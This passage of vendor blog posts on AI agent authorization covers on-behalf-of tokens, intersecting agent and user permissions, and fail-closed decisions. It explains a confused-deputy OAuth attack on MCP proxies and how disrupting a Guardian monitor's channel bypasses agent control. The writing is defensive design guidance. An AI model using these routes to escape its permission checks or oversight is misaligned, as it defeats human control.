`client_id`, the answer is no. If `sub` is a person and you can also name the software, from `act.sub` or from the client claims, the answer is yes and you should be writing both into your own audit record. **Can an agent forward the token it was given to a downstream API?** Under MCP's `2026-07-28` authorization spec it must not. The server "**MUST NOT** pass through the token it received from the MCP client", and needs a separate token issued by the upstream authorization server. The stated reasons are audience validation and the audit confusion that passthrough creates downstream. ## Conclusion {#conclusion} The reason this matters more for agents than for ordinary service-to-service calls is volume and distance. A human clicking a button in a SaaS app generates an action with a session behind it. An agent generates thousands of actions whose only link to a person is whatever the credential carried at the time, and the question "who authorized this" arrives months later from someone who does not care about your architecture. Everything above reduces to one habit. Treat "on behalf of" as a claim about the token's shape, go look at the shape, and name it using a vocabulary that distinguishes the cases. The specs have done the hard part already: RFC 8693 defines the two semantics and the claim that expresses the gentler one, RFC 9068 tells you what `sub` means in each grant, Entra documents its own layout, and MCP tells you not to launder identity by forwarding tokens. What none of them will do is inspect your deployment for you. The fail-closed question, what happens when the authorization decision cannot be made at all, is a different dimension and is covered in [fail-closed agent authorization](/blog/fail-closed-agent-authorization). > **One token, read out loud.** Pull a real token from a real agent call, decode it, and say the sentence > "this action is attributable to X, performed by Y, for audience Z." If you cannot finish the sentence, > your audit trail cannot either. ## Sources {#sources} All URLs read 2026-10-12. - [RFC 8693: OAuth 2.0 Token Exchange](https://www.rfc-editor.org/rfc/rfc8693.html) — section 1.1 on delegation versus impersonation, 2.1 on `actor_token` and `actor_token_type`, 4.1 on the `act` claim and its nesting, 4.4 on `may_act`. - [RFC 9068: JWT Profile for OAuth 2.0 Access Tokens](https://www.rfc-editor.org/rfc/rfc9068.html) — section 2.2 on `sub` for resource-owner grants versus client credentials, the required `client_id` and `aud` claims, and the resource server's audience validation duty. - [RFC 7519: JSON Web Token](https://www.rfc-editor.org/rfc/rfc7519.html) — section 4.1.2, the deliberately broad definition of the `sub` claim. - [Microsoft identity platform and OAuth 2.0 On-Behalf-Of flow](https://learn.microsoft.com/en-us/entra/identity-platform/v2-oauth2-on-behalf-of-flow) — the `jwt-bearer` grant, `requested_token_use=on_behalf_of`, the assertion audience rule, delegated scopes rather than application roles, and the warning against relaying middle-tier tokens. - [Service account impersonation, Google Cloud IAM](https://docs.cloud.google.com/iam/docs/service-account-impersonation) — impersonation defined, the `iam.serviceAccounts.getAccessToken` permission, and the audit-log hedge that "most" logs carry both identities. - [MCP specification 2026-07-28: Authorization](https://modelcontextprotocol.io/specification/2026-07-28/basic/authorization) — MCP servers as OAuth 2.1 resource servers, audience validation, and the rule that servers must not accept or transit other tokens. - [MCP specification 2026-07-28: Authorization Security Considerations](https://modelcontextprotocol.io/specification/2026-07-28/basic/authorization/security-considerations) — access token privilege restriction, and the prohibition on passing through the inbound token to an upstream API. - [MCP Security Best Practices, 2026-07-28](https://modelcontextprotocol.io/docs/2026-07-28/tutorials/security/security_best_practices) — the token passthrough anti-pattern, audience validation failures, and the accountability and audit-trail consequences. - [OAuth 2.1, draft-ietf-oauth-v2-1-13](https://datatracker.ietf.org/doc/html/draft-ietf-oauth-v2-1-13) — section 1.4.1, access tokens intended to be issued with fewer privileges than the granting user holds. - [Agent Access Control Taxonomy](https://agenticfabriq.github.io/agent-access-control-taxonomy/) — the delegation model dimension and the term ids `aact:delegation-model/on-behalf-of-user`, `aact:delegation-model/autonomous` and `aact:delegation-model/agent-to-agent`. - [Agent access control taxonomy, delegation-model.yaml](https://github.com/agenticfabriq/agent-access-control-taxonomy/blob/main/taxonomy/delegation-model.yaml) — the term definitions quoted above, including the agent-to-agent risk note about losing the originating human. ================================================================================ ## Agent Scope ∩ User Permission: The Intersection Rule URL: https://www.agenticfabriq.com/blog/agent-scope-user-permission-intersection Published: 2026-10-12 Author: Paulina Xu Summary: An agent's effective capability is the overlap of what the agent may do and what the acting user may do. Widening one side alone has to change nothing, and three cloud platforms already say so. ```tldr **An agent's effective capability is the intersection of what the agent is allowed and what the acting user is allowed. Widening one side alone must change nothing.** This is not a novel idea, it is how temporary credentials have worked for years. AWS states it flatly for session policies: "The resulting session's permissions are the intersection of the role's identity-based policy and the session policies", and "You cannot use session policies to grant more permissions than those allowed by the identity-based policy of the role that is being assumed." The common agent architecture breaks the rule by accident. One service account holds the integration credentials, every user's request flows through it, and the agent's reach becomes the union of everybody's access rather than the overlap with anyone's. We are not claiming intersection is a complete authorization story. It says nothing about whether an action is reversible, or whether a human should see it first. It is the floor, not the ceiling. The test is cheap and worth running this week: grant the agent a scope the user does not have and confirm the call still fails. Then grant the user a scope the agent does not have and confirm the same. If either direction leaks, you are computing a union. ``` ## Overview {#overview} Take a sales operations agent at a 2,000-person software company. It reads opportunity records, drafts follow-up email from each rep's own mailbox, and updates close dates. Reps see their own territory, managers see their team, and the VP sees all of it. The agent is one deployment with one set of tools. Now ask the only question that matters about its permissions: when a rep asks the agent to summarise pipeline, whose view of the pipeline does it read? If the answer is "the integration's view", the rep has just been handed the VP's data through a chat box, and no one will notice until an org chart question gets answered too accurately. Which permissions an agent should hold is covered in [agent permissions best practices](/blog/agent-permissions-best-practices) and [permission models for autonomous systems](/blog/permission-models-for-autonomous-systems), which separates reach from initiative. This post is narrower and more mechanical. It is about one rule, how three major platforms already encode it, what goes wrong when a system computes a union instead, and where to put the check so it cannot be skipped. > **The invariant:** effective capability equals agent capability intersected with acting-user capability, > and no change to one input alone can grow the result. A system that cannot demonstrate that property is > not enforcing an intersection, whatever its documentation says. ## The Rule, Stated Precisely {#rule} Write the two inputs as sets of allowed actions, one per principal, and the rule is a one-liner: `effective = agent ∩ user`. The part people skip is the second half, which is where the testable property lives. Monotonicity in one variable buys you nothing. If `effective` can grow when you widen only the agent's grant, then the agent is a privilege escalation route for every user attached to it. If `effective` can grow when you widen only the user's grant, then your users can reach tools the agent was never approved to use, which is the same failure with the blame reversed. So the test has two directions and both have to fail closed: 1. Grant the agent `calendar.write` while the acting user has no calendar access. The call must be denied. 2. Grant the user `finance.export` while the agent has no finance tool. The call must be denied, and ideally the tool should not appear in the agent's list at all. OAuth's own framing already pushes in this direction. OAuth 2.1 section 1.4.1 says "Access tokens are intended to be issued to clients with less privileges than the user granting the access has. This is known as a limited 'scope' access token." Less, not equal. The spec treats the client's authority as a subset of the user's by design, and an agent is just a client that asks for a lot of scopes at once. Why scopes alone do not get you there is the subject of [why OAuth alone isn't enough for AI agents](/blog/oauth-not-enough-for-agents). ```mermaid flowchart LR REQ[Tool call] --> D{explicit deny<br/>on either side?} D -- yes --> X[Deny] D -- no --> A{agent grant<br/>allows action?} A -- no --> X A -- yes --> U{acting user<br/>allows action?} U -- no --> X U -- yes --> OK[Allow] X --> L[Record the denial<br/>with both principals] OK --> L2[Record the call<br/>with both principals] ``` **Figure 1 — The two-sided check, with deny evaluated first. Three of the four branches end in a denial, which is the correct shape: an intersection is mostly a machine for saying no.** Deny goes first for a reason the cloud platforms learned the hard way, and it is the subject of the next section. ## Where This Rule Already Exists {#precedent} The agent world keeps reinventing this. It has been shipping in cloud IAM for years, and reading the existing wording is faster than arguing about it. **AWS session policies.** The IAM documentation: "The permissions for a session are the intersection of the identity-based policies for the IAM entity (user or role) used to create the session and the session policies." It then adds the constraint that makes the property hold, twice over. Session policies "limit permissions for a created session, but do not grant permissions", and in the `AssumeRole` API reference: "You cannot use session policies to grant more permissions than those allowed by the identity-based policy of the role that is being assumed." Permissions boundaries work the same way one level up: with a boundary set, "the entity can perform only the actions that are allowed by both its identity-based policies and its permissions boundaries." That is the whole design pattern. One side describes the ceiling, the other describes the request, and widening the request cannot raise the ceiling. For an agent, the agent's own grant is the ceiling and the acting user's permissions are the request, or the reverse, and it does not matter which way you name them because intersection is commutative. **Google Cloud deny policies.** Google adds the ordering rule. Its documentation states that "IAM always checks relevant deny policies before checking relevant allow policies", and the consequence: "When a principal is denied a permission, they can't do anything that requires that permission, regardless of the IAM roles they've been granted." AWS says the same thing in different words, that "an explicit deny in any of these policies overrides the allow." This matters for agents more than it looks. An intersection built only from allow sets is fragile, because the two sides are usually maintained by different teams on different clocks. A deny evaluated first is the mechanism that lets a security team remove capability from an agent without auditing every user's grant. **Entra's delegated permissions.** Microsoft's on-behalf-of documentation states the intersection as a product behaviour rather than a policy rule. The flow "only uses delegated *scopes* and not application *roles*", because roles "remain attached to the principal (the user) and never to the application operating on the user's behalf. This occurs to prevent the user gaining permission to resources they shouldn't have access to." Read the last clause again. The reason application roles are excluded from the OBO flow is precisely that they would let the middle tier contribute authority the user does not have. How the two identities ride on one request is covered in [what on-behalf-of authorization actually proves](/blog/on-behalf-of-authorization). > **If you are designing this from scratch, you are late.** Three of the largest access control systems in > production converged on the same two rules: intersect the two sides, and evaluate denials before allows. > Copy them rather than inventing a third vocabulary. ## What a Union Looks Like From the Inside {#union} The failure is rarely a bug in an authorization check. It is an architecture that never had two sides to intersect. A single service account holding the Salesforce credential is the canonical version. The integration authenticates once, as itself, with whatever scopes someone requested during setup, which is usually everything the vendor's consent screen offered. Every user request then runs through that one identity. The authorization check inside the agent, if there is one, compares the request against the agent's configuration. Nothing in the path has the acting user's permissions available, so nothing can narrow anything. The agent's reach is the union of every user's access, and often more, because service accounts tend to be granted admin scopes to make setup work. Kubernetes RBAC is a useful contrast because it is explicit about being a union: "Permissions are purely additive (there are no 'deny' rules)." That is a reasonable choice for a cluster where every subject's grants are written by the same platform team. It is a bad fit for an agent sitting between thousands of users and a SaaS API, because the second principal never appears in the model. ```mermaid sequenceDiagram participant R as Rep (territory West) participant A as Agent participant S as Shared service account participant C as CRM API R->>A: "summarise pipeline this quarter" A->>A: check: agent allowed to read opportunities Note over A: acting user's territory never consulted A->>S: use integration credential S->>C: GET /opportunities C-->>S: all 14,000 records S-->>A: all 14,000 records A-->>R: summary of the whole company ``` **Figure 2 — The union failure. There is no denied request to find afterwards, because the only check that ran passed. This is why reviewing denial logs will never surface it.** What makes this one hard to catch is that it produces no error. Every call returns 200. The audit log shows a successful read by a legitimate integration. The only evidence is in the response body, and nobody diffs response bodies against an entitlement model. We think this is the single most common serious permission defect in deployed agents, and it is structural rather than careless: the architecture that makes a connector easy to ship is the same architecture that erases the second principal. ## The Confused Deputy Shape {#deputy} Intersection is also the structural answer to a named attack class. A confused deputy is a component with more authority than its caller that can be induced to use that authority on the caller's behalf. An agent holding broad integration credentials is exactly that component, and the mechanism is the same whether the inducement arrives as a crafted prompt or a crafted OAuth request. MCP's security guidance documents the OAuth-flavoured version in detail. The attack targets an MCP proxy server that "connects MCP clients to third-party APIs, offering MCP features while delegating operations and acting as a single OAuth client to the third-party API server." The vulnerable combination is a static client ID at the third-party authorization server, dynamic client registration for MCP clients, a consent cookie set after the first authorization, and a proxy that "does not implement proper per-client consent before forwarding to third-party authorization". The attacker registers a client with their own redirect URI, sends the user a link, the third-party server sees the consent cookie and skips the consent screen, and the authorization code lands on the attacker's host. The required mitigation is stated as an obligation on the proxy: "MCP proxy servers using static client IDs **MUST** obtain user consent for each dynamically registered client before forwarding to third-party authorization servers". Per-client consent is intersection expressed as a user interface. The proxy's own authority is not sufficient; it has to establish the caller's authority separately, for that caller, before spending its own. The prompt-injection version has the same shape without the OAuth machinery, and [hallucinated permissions](/blog/hallucinated-permissions) covers what happens when the agent reasons about what it is allowed to do rather than being told. The defence is identical in both cases. If the effective capability of a call is bounded by the acting user, then an attacker who can steer the agent still only reaches what that user could have reached directly, and the deputy has nothing extra to be confused out of. ## Getting the Intersection Right {#implementing} Three practical points, because the rule is easy to state and easy to implement wrongly. **Put the check where the credential is attached, not where the tool is chosen.** A model that decides which tool to call is choosing from a list, and a list is advice. The decision has to be re-made at the moment the outbound request is built, by code the model cannot address. MCP's `2026-07-28` specification makes room for this on the discovery side. A server's tool set "**MAY** vary by the authorization presented on the request", for example by "returning only the tools the caller's granted scopes permit", because "credentials are per-request input, not connection state." A narrowed `tools/list` is good design because it keeps the model from proposing calls that will fail. It is not the enforcement point. **Decide what a scope you do not recognise means.** Two sides maintained separately will drift: an identity provider adds a group, a vendor renames a scope, a tool gains an argument that crosses a boundary the mapping did not anticipate. An intersection computed over sets of strings has to answer what happens when a string appears on one side and not the other, and the only safe answer is that an unmatched grant contributes nothing. That is the failure behavior dimension, and it is the subject of [fail-closed agent authorization](/blog/fail-closed-agent-authorization). **Log both principals on both outcomes.** An intersection produces a new category of denial that neither side's own logs explain: the agent was allowed, the user was allowed, and the call still failed because the overlap was empty for that specific action. If the log line says "access denied" with one subject, whoever investigates will go and widen the wrong grant. Recording the agent, the acting user, the action and which side was missing turns a support ticket into a one-line answer. This is the authorization model dimension of the [Agent Access Control Taxonomy](https://agenticfabriq.github.io/agent-access-control-taxonomy/). Its term `aact:authorization-model/intersection-of-agent-and-user` is defined as a model where "an action is allowed only if both the agent's own policy and the delegating user's permissions allow it", with the note that it "prevents an agent from becoming a privilege-escalation path for a low-privilege user, and vice versa". The two terms it is worth contrasting with are `aact:authorization-model/scope-at-grant`, where "permissions are fixed when a credential is issued; individual actions within that scope are not checked again", and `aact:authorization-model/role-based`, where "the agent is assigned roles and actions are permitted if any role allows them". That last phrase, *any role allows them*, is the union, named. ## Where Fabriq Fits {#fabriq} Agentic Fabriq computes an agent's effective tool list as the intersection of the user's scopes and the agent's, with default-deny RBAC across organization, team and member, scope sets and per-user overrides. Every request carries two identities, the agent and the acting user, and action-level permissions are enforced in the backend rather than in the tool description the model reads. Credentials are held per user in a vault and attached server-side at call time, which is what makes the second principal available to the check in the first place. We do not have a general-purpose rules language, and the intersection is not one; it is a structural property of how the request is built. ## Frequently Asked Questions {#faq} **What is the intersection of agent scope and user permission?** The set of actions allowed by both the agent's own grant and the permissions of the human the agent is acting for. A call is permitted only if it is in both sets, which means widening either side on its own cannot add a capability. **Why should an agent's permissions be the intersection rather than the union?** Because a union makes the agent a privilege escalation path. If any attached user's grants can contribute capability, the agent's reach is the widest user's reach, and a low-privilege user gets a high-privilege result through a chat interface. AWS encodes the opposite rule for session policies, which "do not grant permissions" and cannot exceed the role's identity-based policy. **Does AWS actually use the word intersection?** Yes, in two places. The IAM user guide says "The permissions for a session are the intersection of the identity-based policies for the IAM entity (user or role) used to create the session and the session policies", and the `AssumeRole` API reference repeats it for the `Policy` and `PolicyArns` parameters. **How do deny rules fit into an intersection?** They are evaluated first. Google's documentation states that "IAM always checks relevant deny policies before checking relevant allow policies", and that a denied principal "can't do anything that requires that permission, regardless of the IAM roles they've been granted". Practically, it lets one team subtract capability from an agent without touching anyone's grants. **Is Kubernetes RBAC an intersection model?** No. Its documentation is explicit: "Permissions are purely additive (there are no 'deny' rules)." That is a reasonable design for a cluster with one administrative team and a bad fit for an agent mediating between many users and an external API. **How do I test whether my agent enforces the intersection?** Two calls. Give the agent a capability the acting user lacks and confirm denial; give the user a capability the agent lacks and confirm denial. Run both, because systems commonly enforce one direction and not the other, and the direction they miss is usually the user side. **Does narrowing the tool list enforce the intersection?** No, it improves the experience. A model chooses from a list, and the list is an input to a probabilistic process. The intersection has to be re-checked where the outbound request is assembled, in code the model cannot reach. ## Conclusion {#conclusion} The reason to insist on this rule rather than a more sophisticated one is that it is checkable. "Least privilege" is a value. "No change to one input alone can grow the effective set" is a property you can write two tests for, and the tests do not need a threat model to justify them. It also fails in a useful direction. An intersection that is wrong is usually wrong by denying something it should have allowed, which produces a complaint, a log line and a fix. A union that is wrong produces a correct-looking answer containing data the asker should never have seen, and produces it quietly for as long as nobody checks. The platforms have done the specification work. AWS gives you the wording and the constraint that makes it hold, Google gives you the evaluation order, OAuth 2.1 gives you the principle that a client's authority is a subset of the user's, and MCP gives you the attack that happens when a mediating component spends its own authority on someone else's request. None of that is agent-specific. The agents just make it urgent, because they generate the calls faster than anyone reviews them. > **Two tests, one afternoon.** Widen the agent, confirm denial. Widen the user, confirm denial. Everything > above is explanation for why those two results matter more than any diagram of your authorization layer. ## Sources {#sources} All URLs read 2026-10-12. - [Policies and permissions in AWS IAM](https://docs.aws.amazon.com/IAM/latest/UserGuide/access_policies.html) — session policies as the intersection of identity-based policies and the session policy, session policies that limit but do not grant, permissions boundaries allowing only what both permit, and explicit deny overriding allow. - [AWS STS AssumeRole API reference](https://docs.aws.amazon.com/STS/latest/APIReference/API_AssumeRole.html) — the `Policy` and `PolicyArns` parameters, the intersection sentence, and the statement that session policies cannot grant more than the assumed role's identity-based policy. - [IAM deny policies overview, Google Cloud](https://docs.cloud.google.com/iam/docs/deny-overview) — deny policies evaluated before allow policies, and a denied principal blocked regardless of granted roles. - [OAuth 2.1, draft-ietf-oauth-v2-1-13](https://datatracker.ietf.org/doc/html/draft-ietf-oauth-v2-1-13) — section 1.4.1, access tokens intended for clients with fewer privileges than the granting user, and the scope mechanism as the limiter. - [Microsoft identity platform and OAuth 2.0 On-Behalf-Of flow](https://learn.microsoft.com/en-us/entra/identity-platform/v2-oauth2-on-behalf-of-flow) — delegated scopes rather than application roles, and the stated reason: preventing the user from gaining permissions they should not have. - [MCP Security Best Practices, 2026-07-28](https://modelcontextprotocol.io/docs/2026-07-28/tutorials/security/security_best_practices) — the confused deputy problem, the four vulnerable conditions, and the per-client consent requirements. - [MCP specification 2026-07-28: Authorization Security Considerations](https://modelcontextprotocol.io/specification/2026-07-28/basic/authorization/security-considerations) — the normative requirement that proxy servers with static client IDs obtain consent per dynamically registered client. - [MCP specification 2026-07-28: Tools](https://modelcontextprotocol.io/specification/2026-07-28/server/tools) — a server's tool set may vary by the authorization presented on the request, since credentials are per-request input rather than connection state. - [Using RBAC Authorization, Kubernetes](https://kubernetes.io/docs/reference/access-authn-authz/rbac/) — permissions are purely additive and there are no deny rules. - [Agent Access Control Taxonomy](https://agenticfabriq.github.io/agent-access-control-taxonomy/) — the authorization model dimension, and the question it answers: how is each action decided. - [Agent access control taxonomy, authorization-model.yaml](https://github.com/agenticfabriq/agent-access-control-taxonomy/blob/main/taxonomy/authorization-model.yaml) — the definitions of `aact:authorization-model/intersection-of-agent-and-user`, `scope-at-grant` and `role-based` quoted above. ================================================================================ ## Fail-Closed Agent Authorization: When the Decision Can't Be Made URL: https://www.agenticfabriq.com/blog/fail-closed-agent-authorization Published: 2026-10-12 Author: Paulina Xu Summary: Timeouts, unreachable checks, unknown scopes and missing annotations all produce the same question. OWASP's Agent Control Standard ships a fail-open default, and the reasoning is worth reading closely. ```tldr **Every authorization system has a third outcome besides allow and deny: no answer. Most agent stacks have never written down what they do with it, and the one open standard that has written it down chose to proceed.** OWASP's Agent Control Standard is explicit. A step suffers a decision failure "when no usable decision arrives within the negotiated timeout", and all such cases "resolve the same way: the Observed Agent applies the deployment's failure posture, declared as `on_decision_failure` in the handshake and defaulting to `proceed` (fail-open) so that a slow, erroring, or unreachable Guardian does not halt production." The usual mistake is not choosing fail-open. It is never choosing, and discovering the default during an outage. ACS at least states the trade in its own text: "an adversary who can disrupt the channel converts control into audit." We are not arguing every deployment should deny on every ambiguity. A blanket deny on an unreachable check turns a network blip into an outage, which is why ACS defaults the way it does. What we would argue is narrower. Write the posture down per decision class, make the timeout bounded and short, and make the denial recoverable where the protocol gives you a way to say what was missing. ``` ## Overview {#overview} Take a benefits administration agent at a hospital group. It handles employee life-event changes: a new dependent, a plan switch, an address correction that changes tax withholding. Every action runs through an authorization check that asks whether this agent, acting for this HR coordinator, may modify this employee's record. One Tuesday the service behind that check gets slow. Not down, slow, in the way that a connection pool exhaustion makes things slow: most calls return in 40 milliseconds and some take nine seconds. The agent is mid-run on a batch of 300 changes. What does it do with the ones it cannot get an answer for? There are exactly two answers and both are defensible. What is not defensible is not knowing which one your stack picked. [Agent authorization vs. authentication](/blog/agent-authorization-vs-authentication) covers the 401 and 403 split, and [permission models for autonomous systems](/blog/permission-models-for-autonomous-systems) covers how much initiative an agent gets once it is allowed in. This post is about the third branch, the one nobody draws: the decision that never arrives, or arrives in a form your code does not understand. > **The thing to write down:** for each class of decision failure, the posture and who chose it. "We fail > closed" is a claim about code, and in our reading of the available specifications it is usually a claim > about code that was never written. ## Four Ways to End Up Without an Answer {#failure} "Fail closed" gets used as though decision failures were one thing. They are at least four, and they do not want the same treatment. **The check times out or is unreachable.** The authorization service is slow, the connection is refused, the response is malformed. This is the availability case, and it is the one where fail-open has a real argument: a transient network condition should probably not stop payroll. **A scope or grant is unrecognised.** The identity provider added a group, a vendor renamed a scope, your mapping table has an entry the other side has never heard of. Here the system is not broken and nothing is slow. It simply cannot tell whether the action is in the intersection, which is the subject of [agent scope and user permission](/blog/agent-scope-user-permission-intersection). **Metadata the decision depended on is absent.** A tool arrives with no annotation saying whether it writes. A resource carries no classification. The decision procedure has a hole in its inputs rather than a missing output. **The decision arrives but cannot be applied.** The authorizer says "allow this, with these arguments rewritten" and the agent framework has no way to rewrite arguments mid-flight. Those four want different defaults. Collapsing them into one global setting is how a system ends up permissive in exactly the case it least wanted to be, because the setting was chosen with the timeout case in mind. ```mermaid flowchart TD S[Agent proposes an action] --> W{decision within<br/>bounded timeout?} W -- "allow" --> A[Execute] W -- "deny" --> D[Block and record] W -- "needs approval" --> H[Pause for a human] W -- "no usable answer" --> P{declared posture<br/>for this class} P -- proceed --> A2[Execute, audit the bypass] P -- deny --> D2[Block, say what was missing] A2 --> L[Audit record names the posture] D2 --> L ``` **Figure 1 — The branch most architecture diagrams omit. The posture lookup is per failure class, not global, and the audit record has to name which posture applied or the bypass is invisible afterwards.** ## What OWASP's Agent Control Standard Actually Defaults To {#acs} The Agent Control Standard, an open project of the OWASP GenAI Security Project, is the sharpest public artifact on this that we have found, because instead of recommending a posture it specifies one and then argues with itself about the choice in the normative text. It models a Guardian that rules on each step an Observed Agent proposes, over a negotiated handshake. Its disposition vocabulary has five values: `ALLOW`, `DENY`, `MODIFY` ("proceed with changes"), `ASK` ("pause and request approval") and `DEFER` ("verdict not yet reachable"). `DEFER` is itself a decision: the Guardian saying it cannot decide yet, with a reason drawn from a fixed list that includes `insufficient_context` and `conflicting_policies`. Silence is a different thing entirely. Silence is handled in section 6.4. "A step suffers a **decision failure** when no usable decision arrives within the negotiated timeout: the Guardian stays silent, the transport fails (connection refused, TLS failure, malformed response), or the Guardian returns an error instead of a decision." All three "resolve the same way: the Observed Agent applies the deployment's failure posture, declared as `on_decision_failure` in the handshake (§4) and defaulting to `proceed` (fail-open) so that a slow, erroring, or unreachable Guardian does not halt production. A deployment MAY set `on_decision_failure: deny` (fail-closed)." The reference implementation makes the default concrete as an environment variable. Its configuration table lists `ACS_ON_DECISION_FAILURE` with a default of `proceed`, described as "the posture the ServerHello declares. `deny` fails closed. Any other value stops the Guardian at startup." Two further details are worth having. First, the standard will not let the bypass be quiet: "Every step that proceeds without a decision MUST be recorded as an audit event, so the bypass is visible rather than silent." Second, it states the cost of its own default in one sentence: "Fail-open trades enforcement for availability under disruption: an adversary who can disrupt the channel converts control into audit." > **Read that sentence as a threat model, not a caveat.** If disruption is cheap for an attacker and your > posture is proceed, your authorization layer is a logging layer with extra latency. The asymmetry inside the standard is the most instructive part. An expired `DEFER` defaults the other way: "`timeout_decision` defaulting to `deny` is deliberately the opposite of `on_decision_failure` defaulting to `proceed` (§6.4). An expired DEFER is a Guardian that flagged a concern and failed to resolve it, not one that never answered: a degraded Guardian that can still emit DEFER fails closed where a silent one fails open." So the standard already does what we argued for above: it splits decision failure into classes and picks a different posture per class. A Guardian that said "I have a concern" and then timed out blocks. A Guardian that said nothing at all does not. There is also a startup posture, because the handshake cannot govern itself: when `handshake/hello` fails, the agent applies a posture configured out of band, where "`proceed` starts the session unguarded, `refuse` does not start it", and "the default is `proceed`". A deployment that sets `on_decision_failure: deny` and leaves the startup posture alone has a fail-closed session and a fail-open way of never having a session. Approval as a disposition, including what it costs in human attention, is covered separately in [human-in-the-loop approval design](/blog/human-in-the-loop-approval-design). ## Unknown Scopes and Missing Hints {#unrecognised} The second and third failure classes are quieter and, we think, more dangerous, because they produce no error anywhere. For scopes, the rule follows from the intersection: an unmatched grant contributes nothing. If the acting user's token carries `reports:export:v2` and the agent's configuration knows only `reports:export`, the correct answer is that the overlap for that action is empty. The tempting alternative is prefix matching, which quietly turns every future scope a vendor invents into a grant you already made. For metadata, MCP's `2026-07-28` specification carries the sharper warning. A tool's `annotations` field is listed as "Optional properties describing tool behavior", and the spec attaches a normative caution: "For trust & safety and security, clients **MUST** consider tool annotations to be untrusted unless they come from trusted servers." That sentence does two things at once, and both matter for failure behavior. It makes a missing annotation and a present annotation equally uninformative when the server is not trusted, which means a decision procedure keyed on annotations has no inputs at all in the untrusted case. And it puts the burden on the client, not the server, so "the tool said it was read-only" is not an answer anyone will accept afterwards. The annotation defaults and what they are good for are covered in [permission models for autonomous systems](/blog/permission-models-for-autonomous-systems); the point here is narrower. An annotation is a hint for building an interface and prioritising review. It is not an input to an authorization decision, so a decision procedure that stalls when one is absent was reading the wrong field in the first place. OWASP's general design guidance says the same thing in one line, outside any agent context: "Design systems to fail in a secure state, rather than exposing vulnerabilities when they malfunction." ## The Recoverable Denial {#step-up} Fail-closed has a reputation problem because people imagine the deny as a dead end. The HTTP layer has carried a better pattern for fourteen years, and MCP has now specified how agents should use it. RFC 6750 defines `insufficient_scope`: "The request requires higher privileges than provided by the access token. The resource server SHOULD respond with the HTTP 403 (Forbidden) status code and MAY include the `scope` attribute with the scope necessary to access the protected resource." A denial that names what was missing is a different object from a denial that does not. The first one is a protocol message. The second is a support ticket. MCP's authorization spec makes that concrete for agents. On an insufficient-scope error at runtime the server SHOULD return `HTTP 403 Forbidden` with a `WWW-Authenticate` header carrying `error="insufficient_scope"`, the `scope` parameter "specifying the minimum scopes needed for the operation", and the resource metadata URI. Clients "**SHOULD** respond to these errors by requesting a new access token with an increased set of scopes via a step-up authorization flow", computing "the union of the client's previously requested scope set and the scopes from the current challenge" so previously granted permissions survive the re-authorization. The spec is also clear about who may take that route. "Clients acting on behalf of a user **SHOULD** attempt the step-up authorization flow. Clients acting on their own behalf (`client_credentials` clients) **MAY** attempt the step-up authorization flow or abort the request immediately." An autonomous agent with no user attached has nobody to ask, which is a good reason to prefer the on-behalf-of shape described in [what on-behalf-of authorization actually proves](/blog/on-behalf-of-authorization). RFC 9470 extends the same mechanism one layer deeper, for the case where the problem is not the scope but the authentication behind it. Its error value is `insufficient_user_authentication`, defined as: "The authentication event associated with the access token presented with the request does not meet the authentication requirements of the protected resource." With `acr_values` and `max_age` in the challenge, a resource server can say "this one needs a stronger or fresher sign-in" rather than just no. ```mermaid sequenceDiagram participant A as Agent participant G as Authorizer participant R as Resource A->>G: may this user do action X? Note over G: slow: connection pool exhausted G--xA: no answer inside 250ms budget A->>A: posture for timeouts = deny A-->>A: record: denied, reason=decision_timeout A->>G: retry once inside remaining budget G-->>A: ALLOW A->>R: perform action X R-->>A: 403 insufficient_scope, scope="records:write" A->>A: step-up: union of old and challenged scopes ``` **Figure 2 — Two different denials in one run. The first has no information in it and is bounded by a budget; the second names exactly what was missing and is therefore recoverable without a human.** ## A Fail-Closed Engine, Concretely {#mnemiq} Abstract postures are easy to agree with, so here is one in a shipped system. mnemiq is our open-source text-to-SQL engine, and its access behaviour is fail-closed by construction rather than by configuration. Its own description of the ordering: a model proposes a query, and a deterministic layer then "rules on it before anything touches the database. The query has to be read-only, may only reference objects the caller is allowed to see, has to compile in the source's own SQL dialect, and has to survive an `EXPLAIN`. Fail any of those and you get a refusal with a stated reason rather than a plausible number." The part that matters for failure behavior is what happens with no inputs. From the README: "Access is fail-closed. A role is required", and "Without a role the engine grants nothing and defers, which is the correct behaviour and the first thing people mistake for a bug." That last clause is the honest cost of the posture. The first-run experience of a fail-closed system is an error message, and the engineering temptation is always to make the empty case permissive so the demo works. One design consequence is worth stealing even if you never run mnemiq. "Permissions apply *before* schema retrieval, so the model is never shown a table the caller may not see", which means naming a forbidden table "is useless rather than refused". A system that filters after generation has to refuse; a system that filters before retrieval has nothing to refuse, and the model cannot hallucinate a permission it was never shown. The broader design is covered in [governed data agents](/blog/mnemiq/governed-data-agents). ## What Fail-Closed Costs, and How to Pay It {#cost} The objection to fail-closed is availability, and it is a real objection, not a rhetorical one. ACS picked its default for exactly that reason. Three things make the bill affordable. **Bound the timeout and make it short.** A 250 millisecond budget with one retry inside the remaining window turns "the authorizer is slow" into a few extra denials rather than a stalled run. ACS puts this in the normative text: the negotiated timeout "bounds every failure mode", and "an unambiguous failure (a refused connection) MAY resolve immediately rather than waiting out the clock". A fail-closed posture with an unbounded timeout is the worst of both, because it hangs instead of deciding. **Cache the allow, never the deny-by-failure.** A decision that was genuinely made can be reused for a short window keyed on agent, user, action and resource. A non-answer must never be cached, because caching it converts one network blip into a sustained outage for that tuple. **Refuse in a way the caller can act on.** This is where the taxonomy's third term earns its place. `aact:failure-behavior/refuse-and-explain` is defined as behaviour where "the agent declines, tells the requester what it could not do and why, and does not substitute a partial or guessed result." The two postures it sits beside are `aact:failure-behavior/fail-open`, where "if policy is missing, unreachable or ambiguous, the action proceeds", and `aact:failure-behavior/fail-closed`, where the action "is denied and the denial is recorded". This is the failure behavior dimension of the [Agent Access Control Taxonomy](https://agenticfabriq.github.io/agent-access-control-taxonomy/), whose stated question for that dimension is exactly the one this post started with: what happens when the decision cannot be made. Note the second half of the fail-closed definition. The denial is recorded. A deny that leaves no trace is operationally almost as bad as a silent allow, because the people who could fix the mapping never learn it is wrong. ## Frequently Asked Questions {#faq} **What does fail-closed mean for agent authorization?** That when the authorization decision cannot be made, the action is denied and the denial is recorded. The decision failing is treated as a denial rather than as a reason to skip the check. **What is the difference between fail-open and fail-closed?** Fail-open proceeds when the decision is missing, unreachable or ambiguous. Fail-closed denies. Fail-open preserves availability and converts your authorization layer into an audit layer whenever the channel is disrupted, which is the trade OWASP's Agent Control Standard names in its own text. **Does OWASP's Agent Control Standard fail open or closed by default?** Open. The standard defaults `on_decision_failure` to `proceed`, so a slow, erroring or 